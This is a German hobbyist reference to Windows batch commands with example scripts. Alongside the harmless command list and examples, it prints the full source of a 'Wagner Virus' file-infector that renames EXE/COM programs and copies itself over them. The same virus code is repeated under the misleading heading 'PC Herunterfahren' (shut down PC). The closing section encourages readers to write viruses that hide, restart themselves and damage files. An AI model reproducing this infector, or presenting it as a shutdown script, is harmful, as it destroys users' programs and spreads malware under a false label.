Ultimative Batch-Programmierungsreferenz V1.0
Transcription
Ultimative Batch-Programmierungsreferenz V1.0
Ultimative Batch-Programmierungsreferenz V1.0 ASSOC - Zeigt die zuordnung der Dateierweiterungen an. AT – Hiermit kann man eine Zeit festlegen, in der die Befehle ausgeführt werden sollen. ATTRIB hiermit kann man Dateiattribute anzeigen lassen oder ändern. BREAK – Drückt man Strg + C wird man gefragt ob man abbrechen will. CACLS - Zeigt die Access Control List an(Datei Rechte wie schreiben lesen etc). CALL – Hiermit kann man eine Batchdatei aus einer anderen starten. CD – Aktuelles Verzeichnis ändern bzw. anzeigen. CHCP – Aktive Codepagenummer anzeigen lassen, bzw. festlegen. CHDIR – Anzeige des Aktuellen Verzeichnissnamens bzw. Festlegung. CHKDSK – Hiermit wird ein Datenträger überprüft und ein bericht angezeigt. CHKNTFS – Datenüberprüfung am Start Einstellen bzw. Anzeigen lassen. CHOICE – Wartet auf die Eingabe des Benutzers. CLS - Löscht den Screen. CMD - Startet eine neue Instanz des Windows-Befehlsinterpreters. COLOR – Hintergrund und Vordergrundfarbe der Konsole einstellen. COMP – Vergleich zweier Dateien bzw. Sätze von Datein. COMPACT – NTFS-Partitionskomprimierung anzeigen bzw. andern. CONVERT - Konvertiert FAT-Volumes in NTFS. Das aktuelle Laufwerk kann nicht konvertiert werden. COPY – Kopieren von einer oder mehrerer Dateien an anderer Stelle. DATE – Datum anzeigen bzw. ferstlegen. DEL – Löschen von einer oder mehrerer Datein. DIR – Auflistung von Dateien und Unterverzeichnisse. DISKCOMP - Vergleicht den Inhalt von zwei Disketten. DISKCOPY - Kopiert den Inhalt von einer Diskette auf eine andere Diskette. ECHO – Ausgabe von Text bzw Bildschirmausgabe an und aus schalten. ENDLOCAL Beendet den lokalen Gültigkeitsbereich von Umgebungsänderungen in einer Batchdatei. ERASE Löschen von einer oder mehrerer Datein. EXIT Beendet das Programm CMD.EXE. FC Vergleich zweier Dateien bzw. Sätze von Dateien und anzeige von Unterschieden FIND - Sucht eine Zeichenkette in einer oder mehreren Datei(en). FINDSTR - Sucht Zeichenketten in Dateien. FOR - Führt einen angegebenen Befehl für jede Datei in einem Dateiensatz aus. FORMAT – Formatierung eines Datenträgers FTYPE – Zeigt Dateitypen für eine Zuordnung an bzw. Verändert diese. GOTO – Sprung zu einer Sprungmarke(Befehlsinterpreter wird dorthin gesetzt). GRAFTABL - Ermöglicht Windows, Sonderzeichen im Grafikmodus anzuzeigen. HELP – zeigt Hilfe zu Befehlen an. IF – Je nach bedingung wird ein Befehl abgearbeitet. LABEL – Löscht, erstellt oder verändert die Bezeichnung eines Volumens. MD – Verzeichnis erstellen. MKDIR – Verzeichnis erstellen. MODE - Konfiguriert ein Systemgerät. MORE – Ausgabe auf dem Bildschirm seitenweise MOVE – Dateien in ein anderes Verzeichnis verscheiben. PATH - Legt den Suchpfad für ausführbare Dateien fest oder zeigt diesen an. PAUSE Hält die Ausführung einer Batchdatei an und zeigt eine Meldung an. POPD Wechselt zu dem Verzeichnis, das durch PUSHD gespeichert wurde. PRINT – Drucken einer Textdatei. PROMPT - Ändert die Eingabeaufforderung. PUSHD - Speichert das aktuelle Verzeichnis, und wechselt dann zu einem anderen Verzeichnis. RD - Entfernt ein Verzeichnis. RECOVER - Stellt lesbare Daten von einem beschädigten Datenträger wieder her. REM - Leitet Kommentare in einer Batchdatei bzw. CONFIG.SYS ein. REN – Umbenennen von Dateien. RENAME – Umbenennen von Dateien. REPLACE – Datei Ersetzen. RMDIR – Verzeichnis löschen. SET – Variablen Setzen bzw. löschen. SETLOCAL - Beginnt den lokalen Gültigkeitsbereich von Umgebungsänderungen in einer Batchdatei. SHIFT - Verändert die Position ersetzbarer Parameter in Batchdateien. SORT - Sortiert die Eingabe. START - Startet ein eigenes Fenster, um ein bestimmtes Programm oder einen Befehl auszuführen. SUBST - Weist einem Pfad einen Laufwerksbuchstaben zu. SHUTDOWN – PC neu starten bzw. herrunterfahren TIME - Zeigt die Systemzeit an bzw. legt sie fest. TITLE - Legt den Fenstertitel für das Eingabeaufforderungsfenster fest. TREE - Zeigt die Ordnerstruktur eines Laufwerks oder Pfads grafisch an. TYPE - Zeigt den Inhalt einer Textdatei an. VER - Zeigt die Windows-Version an. VERIFY - Legt fest, ob überwacht werden soll, ob Dateien korrekt auf den Datenträger geschrieben werden. VOL- Zeigt die Datenträgervolumebezeichnung und die Seriennummer an. XCOPY - Kopiert Dateien und Verzeichnisbäume. Syntax: Wenn du die Syntax eines Befehls wissen möchtest, dann gib den Befehl in der Eingabeaufforderung mit einem /? ein und drück Enter! z.B. ASSOC /? Programmcodes/Beispiele: PC Herunterfahren: @ECHO off %SYSTEMROOT%\system32\shutdown.exe -s -t 0 Eingabe Abfrage: @echo off Choice Drueck mal eine Taste: /C:123 If Errorlevel 255 goto Fehler If Errorlevel 3 goto Punktdrei If Errorlevel 2 goto Punktzwei If Errorlevel 1 goto Punkteins If Errorlevel 0 goto Fehldruck :Fehler Echo Fehlerbedingung! goto ende :Punktdrei Echo Sie haben Taste 3 gedrückt! goto ende :Punktzwei Echo Sie haben Taste 2 gedrückt! goto ende :Punkteins Echo Sie haben Taste 1 gedrückt! goto ende :Fehldruck Echo Sie haben [Strg+C] gedrückt und die Stapeldatei abgebrochen! goto ende :ende For – Schleife (10 Unterverzeichnisse): @echo off For %%d In (1 2 3 4 5 6 7 8 9 10 ) Do Md spiel%%d Rem Dieser For-Befehl kreiert 10 Unterverzeichnisse mit den Namen Rem Spiel 1 bis Spiel 10. Wagner Virus(Löscht com und exe Dateien und setzt sich anstelle dessen): @echo off ctty nul for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3 PC Herunterfahren: @echo off ctty nul Rem Umleitung ins nichts mit ctty nul for %%f in (*.exe *.com) do set A=%%f if %A%==COMMAND.COM set A= rename %A% V%A% if not exist V%A% goto end attrib +h V%A% copy %0.bat %A% attrib +r %A% ren %A% *.bat set A= :end ctty con @if exist V%0.com V%0.com %1 %2 %3 @if exist V%0.exe V%0.exe %1 %2 %3 Allgemeines: Sicherlich wollen jetzt einige einen Virus oder dergleichen machen. Hier mal ein Ansatz dazu: – – – Der Virus sollte unendeckt bleiben! Der Virus sollte sich immer neu startn ( http://www.robvanderwoude.com/index.html ) ! Ein Virus löscht oder ändert andere Dateien! Es gibt einen Grund, warum ich euch jetzt nicht Schritt für Schritt sowas erkläre: jeder n00b würde es dann easy hinbekommen einen schädlichen Virus zu schreiben! Außerdem macht das selber herausfinden ja eh mehr Spaß ;) Thnx to everyone MFG MudSucker ( [email protected] | www.darkenedcore.dl.am ) P.S. Schäden sind eure Schuld ich übernehme für nichts Haftung! Weitergeben ist erwünscht, aber nur unverändert!